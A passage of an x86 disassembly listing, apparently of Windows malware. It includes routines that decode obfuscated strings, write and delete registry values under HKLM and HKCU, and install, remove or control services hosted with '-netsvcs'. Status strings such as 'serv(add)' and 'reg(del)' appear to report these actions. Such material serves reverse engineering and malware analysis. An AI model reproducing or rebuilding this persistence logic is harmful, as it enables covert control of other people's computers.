		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+154h+var_24]
		push	2Dh
		push	ecx
		call	sub_4019B5
		add	esp, 0DCh
		push	eax
		lea	ecx, [esp+84h+var_3C]
		mov	byte ptr [esp+84h+var_4], 4
		call	sub_40200E
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	edx, [esp+134h+var_24]
		push	2Dh
		push	edx
		call	sub_4019B5
		add	esp, 0BCh
		push	eax
		lea	ecx, [esp+84h+var_54]
		mov	byte ptr [esp+84h+var_4], 5
		call	sub_40200E
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_4017E4
		mov	ebp, dword_50F754
		push	eax
		push	80000002h
		call	ebp
		mov	esi, [esp+80h+arg_4]
		mov	ecx, esi
		call	sub_401681
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_401681
		mov	ebx, [esp+84h+arg_0]
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_401681
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		call	near ptr 2940000h
		nop
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 2900000h
		push	0
		lea	eax, [esp+84h+var_70]
		lea	ecx, [esp+84h+var_6C]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		call	sub_4017E4
		push	eax
		push	80000002h
		call	ebp
		mov	ecx, esi
		call	sub_401681
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_401681
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_401681
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 2940000h
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 2900000h
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_4017E4
		push	eax
		push	80000001h
		call	ebp
		mov	ecx, esi
		call	sub_401681
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_401681
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_401681
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 2940000h
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 2900000h
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017E4
		push	eax
		push	80000001h
		call	ebp
		mov	ecx, esi
		call	sub_401681
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_401681
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_401681
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 2940000h
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 2900000h
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_3C]
		call	sub_4017E4
		push	eax
		push	80000002h
		call	ebp
		mov	ecx, esi
		call	sub_401681
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_401681
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_401681
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 2940000h
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 2900000h
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+80h+var_6C]
		mov	byte ptr [esp+80h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+80h+var_54]
		mov	[esp+80h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+80h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 70h
		retn	8
sub_40E220	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40E7A0	proc near		; CODE XREF: sub_401447j

var_70		= dword	ptr -70h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_40E7A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 64h
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+80h+var_6C]
		call	sub_401424
		lea	ecx, [esp+80h+var_3C]
		mov	[esp+80h+var_4], 0
		call	sub_401424
		lea	ecx, [esp+80h+var_54]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_401424
		push	0
		push	5
		push	3
		push	0Eh
		push	29h
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	eax, [esp+144h+var_24]
		mov	bl, 2
		push	2Dh
		push	eax
		mov	byte ptr [esp+14Ch+var_4], bl
		call	sub_4019B5
		add	esp, 0CCh
		push	eax
		lea	ecx, [esp+84h+var_3C]
		mov	byte ptr [esp+84h+var_4], 3
		call	sub_40200E
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	13h
		push	5
		push	3
		push	9
		push	16h
		push	12h
		push	5
		push	2Dh
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+154h+var_24]
		push	2Dh
		push	ecx
		call	sub_4019B5
		add	esp, 0DCh
		push	eax
		lea	ecx, [esp+84h+var_54]
		mov	byte ptr [esp+84h+var_4], 4
		call	sub_40200E
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	edx, [esp+134h+var_24]
		push	2Dh
		push	edx
		call	sub_4019B5
		add	esp, 0BCh
		push	eax
		lea	ecx, [esp+84h+var_6C]
		mov	byte ptr [esp+84h+var_4], 5
		call	sub_40200E
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017E4
		mov	esi, dword_50F754
		push	eax
		push	80000002h
		call	esi
		mov	edi, [esp+80h+arg_0]
		mov	ecx, edi
		call	sub_401681
		mov	ecx, [esp+80h+var_70]
		mov	ebp, dword_50F764
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		mov	ebx, dword_50F738
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_4017E4
		push	eax
		push	80000002h
		call	esi
		mov	ecx, edi
		call	sub_401681
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017E4
		push	eax
		push	80000002h
		call	esi
		mov	ecx, edi
		call	sub_401681
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017E4
		push	eax
		push	80000001h
		call	esi
		mov	ecx, edi
		call	sub_401681
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_3C]
		call	sub_4017E4
		push	eax
		push	80000001h
		call	esi
		mov	ecx, edi
		call	sub_401681
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	ecx, [esp+80h+var_54]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 0
		call	sub_401226
		mov	[esp+80h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+80h+var_6C]
		call	sub_401226
		mov	ecx, [esp+80h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 70h
		retn	4
sub_40E7A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0F0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40EC30	proc near		; CODE XREF: sub_401497j

var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_40EC30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		push	ebx
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+5Ch+var_24]
		call	sub_401424
		push	104h
		push	104h
		lea	ecx, [esp+64h+var_24]
		mov	[esp+64h+var_4], 0
		call	sub_401C5D
		push	eax
		nop
		call	near ptr 27E0A09h
		lea	ecx, [esp+5Ch+var_3C]
		call	sub_401424
		mov	ecx, [esp+5Ch+arg_4]
		mov	byte ptr [esp+5Ch+var_4], 1
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+60h+var_24]
		call	sub_4017E4
		push	eax
		lea	eax, [esp+64h+var_3C]
		push	offset dword_443684
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+5Ch+var_54]
		call	sub_401424
		lea	ecx, [esp+5Ch+var_54]
		push	offset aNetsvcs	; "-netsvcs"
		push	ecx
		mov	byte ptr [esp+64h+var_4], 2
		call	sub_40102D
		mov	ecx, [esp+64h+arg_0]
		add	esp, 8
		lea	edx, [esp+5Ch+var_54]
		lea	eax, [esp+5Ch+var_3C]
		push	edx
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_402153
		lea	ecx, [esp+5Ch+var_54]
		mov	bl, al
		mov	byte ptr [esp+5Ch+var_4], 1
		call	sub_401226
		lea	ecx, [esp+5Ch+var_3C]
		mov	byte ptr [esp+5Ch+var_4], 0
		call	sub_401226
		lea	ecx, [esp+5Ch+var_24]
		mov	[esp+5Ch+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+5Ch+var_C]
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 54h
		retn	8
sub_40EC30	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ED70	proc near		; CODE XREF: sub_402153j

var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_40ED70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 38h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		mov	[esp+5Ch+var_44], ecx
		push	0
		nop
		call	near ptr 29007AAh
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40EDAF
		xor	al, al
		jmp	loc_40EF00
; ---------------------------------------------------------------------------


loc_40EDAF:				; CODE XREF: sub_40ED70+36j
		lea	ecx, [esp+54h+var_24]
		call	sub_401424
		mov	ecx, [esp+54h+arg_8]
		mov	[esp+54h+var_4], 0
		call	sub_4017E4
		mov	ebx, [esp+54h+arg_4]
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		lea	eax, [esp+5Ch+var_24]
		push	offset aSS_4	; "\"%s\" %s"
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+54h+var_24]
		push	0
		push	0
		push	0
		push	0
		push	0
		call	sub_4017E4
		push	eax
		push	1
		push	2
		push	20h
		push	0F01FFh
		mov	ecx, offset dword_447864
		call	sub_4017E4
		mov	ebp, [esp+7Ch+arg_0]
		push	eax
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		push	edi
		nop
		call	near ptr 2900A3Bh
		mov	esi, eax
		xor	ecx, ecx
		cmp	esi, ecx
		jnz	short loc_40EE95
		nop
		call	near ptr 27B07FFh
		cmp	eax, 431h
		jnz	short loc_40EE79
		mov	ecx, [esp+54h+var_44]
		push	ebp
		call	sub_401942
		mov	esi, dword_50F74C
		push	0
		call	esi
		push	edi
		call	esi
		mov	ecx, [esp+54h+var_44]
		push	ebx
		push	ebp
		call	sub_401497
		lea	ecx, [esp+54h+var_24]
		mov	bl, al
		mov	[esp+54h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, bl
		jmp	loc_40EF00
; ---------------------------------------------------------------------------


loc_40EE79:				; CODE XREF: sub_40ED70+CBj
		push	edi
		nop
		call	near ptr 2910000h
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	short loc_40EF00
; ---------------------------------------------------------------------------


loc_40EE95:				; CODE XREF: sub_40ED70+BEj
		lea	edx, [esp+54h+var_38]
		mov	[esp+54h+var_34], ecx
		mov	dword ptr [esp+54h+var_30], ecx
		push	edx
		mov	eax, 1
		or	ebx, 0FFFFFFFFh
		lea	ecx, [esp+58h+var_40]
		push	2
		push	esi
		mov	[esp+60h+var_3C], eax
		mov	[esp+60h+var_40], eax
		mov	[esp+60h+var_38], ebx
		mov	[esp+60h+var_2C], eax
		mov	[esp+60h+var_28], ecx
		nop
		call	near ptr 291035Bh
		test	eax, eax
		push	esi
		mov	esi, dword_50F74C
		jnz	short loc_40EEEC
		call	esi
		push	edi
		call	esi
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], ebx
		call	sub_401226
		xor	al, al
		jmp	short loc_40EF00
; ---------------------------------------------------------------------------


loc_40EEEC:				; CODE XREF: sub_40ED70+164j
		call	esi
		push	edi
		call	esi
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], ebx
		call	sub_401226
		mov	al, 1


loc_40EF00:				; CODE XREF: sub_40ED70+3Aj
					; sub_40ED70+104j ...
		mov	ecx, [esp+54h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 44h
		retn	0Ch
sub_40ED70	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40EF90	proc near		; CODE XREF: sub_401942j

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  4

		sub	esp, 1Ch
		push	esi
		push	edi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		nop
		call	near ptr 29007AAh
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40EFB7
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 1Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40EFB7:				; CODE XREF: sub_40EF90+1Bj
		mov	ecx, [esp+24h+arg_0]
		push	0F01FFh
		call	sub_4017E4
		push	eax
		push	edi
		call	near ptr 28A0683h
		nop
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40EFE4
		push	edi
		nop
		call	near ptr 2910000h
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 1Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40EFE4:				; CODE XREF: sub_40EF90+41j
		lea	eax, [esp+24h+var_1C]
		push	eax
		push	1
		push	esi
		nop
		call	near ptr 2900341h
		push	esi
		nop
		call	near ptr 2900646h
		push	esi
		mov	esi, dword_50F74C
		call	esi
		push	edi
		call	esi
		pop	edi
		mov	al, 1
		pop	esi
		add	esp, 1Ch
		retn	4
sub_40EF90	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F030	proc near		; CODE XREF: sub_401FB4j

arg_0		= dword	ptr  4

		push	esi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		call	near ptr 29007AAh
		nop
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40F04F
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F04F:				; CODE XREF: sub_40F030+17j
		mov	ecx, [esp+4+arg_0]
		push	0F01FFh
		call	sub_4017E4
		push	eax
		push	esi
		nop
		call	near ptr 28A0683h
		test	eax, eax
		jnz	short loc_40F076
		push	esi
		nop
		call	near ptr 2910000h
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F076:				; CODE XREF: sub_40F030+37j
		push	edi
		mov	edi, dword_50F74C
		push	eax
		call	edi
		push	esi
		call	edi
		pop	edi
		mov	al, 1
		pop	esi
		retn	4
sub_40F030	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F0B0	proc near		; CODE XREF: sub_401FDCj

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		nop
		call	near ptr 29007AAh
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40F0D1
		pop	edi
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F0D1:				; CODE XREF: sub_40F0B0+18j
		mov	ecx, [esp+8+arg_0]
		push	0F01FFh
		call	sub_4017E4
		push	eax
		push	edi
		nop
		call	near ptr 28A0683h
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40F0FB
		push	edi
		nop
		call	near ptr 2910000h
		pop	edi
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F0FB:				; CODE XREF: sub_40F0B0+3Bj
		push	0
		push	0
		push	esi
		call	near ptr 28F0C0Eh
		nop
		push	esi
		mov	esi, dword_50F74C
		call	esi
		push	edi
		call	esi
		pop	edi
		mov	al, 1
		pop	esi
		retn	4
sub_40F0B0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40F140:				; CODE XREF: ___:loc_4014A1j
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_439048
		push	eax
		mov	large fs:0, esp
		sub	esp, 60h
		push	ebx
		push	esi
		mov	esi, [esp+78h]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+19h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F23A
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+2Ch]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+14h]
		push	2
		xor	ebx, ebx
		push	ecx
		mov	ecx, esi
		mov	[esp+84h], ebx
		call	sub_4011EA
		lea	edx, [esp+0Ch]
		lea	eax, [esp+24h]
		push	edx
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+7Ch], 1
		call	sub_401726
		test	al, al
		jz	short loc_40F206
		lea	ecx, [esp+0Ch]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+28h]
		call	sub_4017E4
		push	eax
		push	offset aRegAddSAsS_ ; "reg(add)	\"%s\" as \"%s\"."
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 1Ch


loc_40F206:				; CODE XREF: ___:0040F1C7j
		lea	ecx, [esp+0Ch]
		mov	[esp+74h], bl
		call	sub_401226
		lea	ecx, [esp+24h]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F23A:				; CODE XREF: ___:0040F176j
		lea	ecx, [edi+47h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F2D9
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+2Ch]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+24h]
		mov	dword ptr [esp+74h], 2
		push	ecx
		mov	ecx, edi
		call	sub_401447
		test	al, al
		jz	short loc_40F2B2
		lea	ecx, [esp+24h]
		call	sub_4017E4
		push	eax
		push	offset aRegDelS_ ; "reg(del) \"%s\"."
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 18h


loc_40F2B2:				; CODE XREF: ___:0040F27Dj
		lea	ecx, [esp+24h]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F2D9:				; CODE XREF: ___:0040F24Cj
		lea	ecx, [edi+75h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F3EF
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+44h]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+14h]
		push	2
		push	edx
		mov	ecx, esi
		mov	dword ptr [esp+84h], 3
		call	sub_4011EA
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+2Ch]
		mov	bl, 4
		push	3
		push	eax
		mov	ecx, esi
		mov	[esp+84h], bl
		call	sub_4011EA
		lea	ecx, [esp+24h]
		lea	edx, [esp+0Ch]
		push	ecx
		lea	eax, [esp+40h]
		push	edx
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+80h], 5
		call	sub_402153
		test	al, al
		jz	short loc_40F3AD
		lea	ecx, [esp+24h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+44h]
		call	sub_4017E4
		push	eax
		push	offset aServAddSAsSS_ ;	"serv(add) \"%s\" as \"\"%s\" %s\"."
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 20h


loc_40F3AD:				; CODE XREF: ___:0040F364j
		lea	ecx, [esp+24h]
		mov	[esp+74h], bl
		call	sub_401226
		lea	ecx, [esp+0Ch]
		mov	byte ptr [esp+74h], 3
		call	sub_401226
		lea	ecx, [esp+3Ch]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F3EF:				; CODE XREF: ___:0040F2EBj
		lea	ecx, [edi+0A3h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F491
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+5Ch]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+54h]
		mov	dword ptr [esp+74h], 6
		push	ecx
		mov	ecx, edi
		call	sub_401942
		test	al, al
		jz	short loc_40F46A
		lea	ecx, [esp+54h]
		call	sub_4017E4
		push	eax
		push	offset aServDelS_ ; "serv(del) \"%s\"."
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 18h


loc_40F46A:				; CODE XREF: ___:0040F435j
		lea	ecx, [esp+54h]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F491:				; CODE XREF: ___:0040F404j
		mov	ecx, [esp+6Ch]
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F590	proc near		; CODE XREF: sub_401D02j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		call	near ptr 77C2C407h
		nop
		mov	edx, eax
		mov	eax, [esp+0Ch+arg_0]
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		mov	[eax], edx
		xor	eax, eax
		add	esp, 4
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		retn
sub_40F590	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F600	proc near		; CODE XREF: sub_401695j

var_29		= byte ptr -29h
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40F600
		mov	eax, large fs:0
		push	eax
